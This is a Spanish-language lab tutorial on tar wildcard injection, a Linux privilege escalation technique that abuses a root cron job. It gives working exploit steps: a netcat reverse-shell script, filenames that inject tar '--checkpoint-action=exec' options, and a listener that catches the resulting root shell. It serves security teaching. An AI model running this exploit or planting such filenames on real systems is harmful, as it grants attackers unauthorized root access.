Introducción
En este laboratorio, aprenderemos sobre la inyección de comodines (wildcard injection), una técnica utilizada para la escalada de privilegios en sistemas Linux. En concreto, exploraremos el principio de la inyección de comodines en el comando tar, ampliamente utilizado, y realizaremos un ejercicio práctico para obtener privilegios de superusuario (root) aprovechando esta vulnerabilidad en combinación con la utilidad crontab.
Comprendiendo los comodines
Primero, entendamos qué son los comodines y cómo funcionan en la shell de Linux. Los comodines son caracteres especiales o secuencias de caracteres que se pueden utilizar para representar o coincidir con un conjunto de nombres de archivos o rutas.
Aquí hay algunos comodines comunes:
*(asterisco) coincide con cualquier número de caracteres (incluyendo cero caracteres) en un nombre de archivo o ruta.?(signo de interrogación) coincide con cualquier carácter individual.[](corchetes cuadrados) coinciden con cualquier carácter individual dentro del conjunto de caracteres especificado entre los corchetes.~(tilde) representa el directorio de inicio del usuario actual o de otro usuario si va seguido de un nombre de usuario.
En el contexto de la escalada de privilegios, los comodines * y - se utilizan comúnmente. Exploremos primero cómo la shell interpreta el carácter -.
Abra una terminal y navegue hasta el directorio
/home/labex/project:cd /home/labex/projectHay un archivo llamado
--helpen el directorio actual. Intente pensar y experimentar cómo puede ver el contenido de este archivo.Si utiliza el comando
cat --help, obtendrá el mensaje de ayuda del comandocaten lugar de ver el contenido del archivo--help.Del mismo modo, si utiliza
vim --help, verá un mensaje de ayuda para el comandovim.Esto se debe a que la shell de Linux interpreta
-como un argumento de comando.Para ver el contenido del archivo
--help, debe evitar que el nombre del archivo comience con-. Puede utilizar:cat /home/labex/project/--helpDe este modo, la shell no interpretará
--helpcomo un argumento y podrá ver el contenido del archivo.Ahora, cambiemos el contenido del archivo
--helpcon el editor de su elección. Por ejemplo, puede utilizarnano:nano /home/labex/project/--helpBorre el contenido existente y agregue el siguiente texto al archivo:
I can read the fileGuarde y salga de nano.
Este comportamiento de la shell es precisamente lo que explota la inyección de comodines (wildcard injection).
La inyección de comodines a menudo se combina con trabajos cron (cron jobs), así que exploremos un ejemplo del mundo real que involucra el comando tar.
Inyección de comodines en Crontab Tar
Para entender cómo la inyección de comodines puede llevar a la escalada de privilegios, realizaremos un ejercicio práctico que involucra el comando tar y crontab.
Primero, inicialicemos el entorno del laboratorio ejecutando el siguiente comando:
Navegue hasta el directorio
/home/labex/project:cd /home/labex/projectEjecute el script de configuración para inicializar el entorno del laboratorio:
./env_setup.shDespués de la inicialización, se cambiará al usuario
user001(simulando a un atacante que ha obtenido acceso inicial a la shell).Luego, revise la tabla de tareas programadas de
crontab:cat /etc/crontabSalida esperada:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *Debería ver una tarea programada para ejecutarse cada minuto, que archiva el contenido del directorio
/var/www/html/en un archivo comprimido/var/backups/html.tgz.A continuación, eche un vistazo a los archivos dentro del directorio
/var/www/html:ls /var/www/htmlPara explotar la vulnerabilidad de inyección de comodines, necesitamos crear los siguientes tres archivos en el directorio
/var/www/html/.Primero, navegue hasta el directorio
/var/www/html:cd /var/www/html/shell.shcon el contenido para ejecutar una shell inversa (reverse shell):echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.shUn archivo llamado
--checkpoint-action=exec=sh shell.sh(tenga en cuenta los espacios en el nombre del archivo):echo "" > "--checkpoint-action=exec=sh shell.sh"Un archivo llamado
--checkpoint=1:echo "" > --checkpoint=1
Después de crear estos archivos, el directorio
/var/www/html/debería verse así:'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shCuando la tarea programada de
cronejecute el siguiente comando:tar -zcf /var/backups/html.tgz /var/www/html/*Se interpretará como:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmlAquí está lo que significan los parámetros:
--checkpointy--checkpoint-actionse utilizan típicamente juntos. El primero establece un punto de control, y el segundo especifica la acción a realizar cuando se alcanza el punto de control.--checkpoint-action=exec=sh shell.shsignifica que cuando se alcanza el punto de control, se ejecutará el scriptshell.sh.
Entonces, cada vez que se ejecute la tarea programada de
cron, se ejecutará el scriptshell.sh, que establecerá una shell inversa (reverse shell) de/bin/bashal puerto local 4444.Configure un listener en el puerto local 4444 en la shell actual:
nc -lnvp 4444Después de esperar un momento, cuando se ejecute la tarea programada de
cron, deberíamos recibir la shell inversa con privilegios de superusuario (root):Salida esperada:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226Intente crear un archivo
success.txten el directorio/rootpara confirmar que tiene privilegios de superusuario:touch /root/success.txtSi puede crear el archivo sin errores de permisos, ha escalado sus privilegios con éxito utilizando la inyección de comodines.
Hay dos limitaciones importantes para esta técnica de escalada de privilegios con tar y crontab:
El directorio
htmldebe tener permisos de escritura (w) para "otros" usuarios, para que podamos crear el archivoshell.shy otros archivos en ese directorio.El comando
taren la tabla decrontabno debe incluir una ruta absoluta. Por ejemplo, si la entrada decrontabse ve así:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*La inyección de comodines fallará porque la shell interpretará el comando como:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmlEn este caso,
/var/www/html/--checkpoint=1y/var/www/html/--checkpoint-action=exec=sh shell.shno se interpretarán como argumentos del comandotar, y la inyección fallará.
Resumen
En este laboratorio, aprendimos sobre la inyección de comodines (wildcard injection), una técnica utilizada para la escalada de privilegios en sistemas Linux. Exploramos el principio de la inyección de comodines en el comando tar, ampliamente utilizado, y realizamos un ejercicio práctico para obtener privilegios de superusuario (root) aprovechando esta vulnerabilidad en combinación con la utilidad crontab. A través de este laboratorio, adquirimos experiencia práctica en la comprensión y explotación de una vulnerabilidad real de escalada de privilegios, que es una habilidad esencial para cualquier profesional de seguridad o administrador de sistemas.



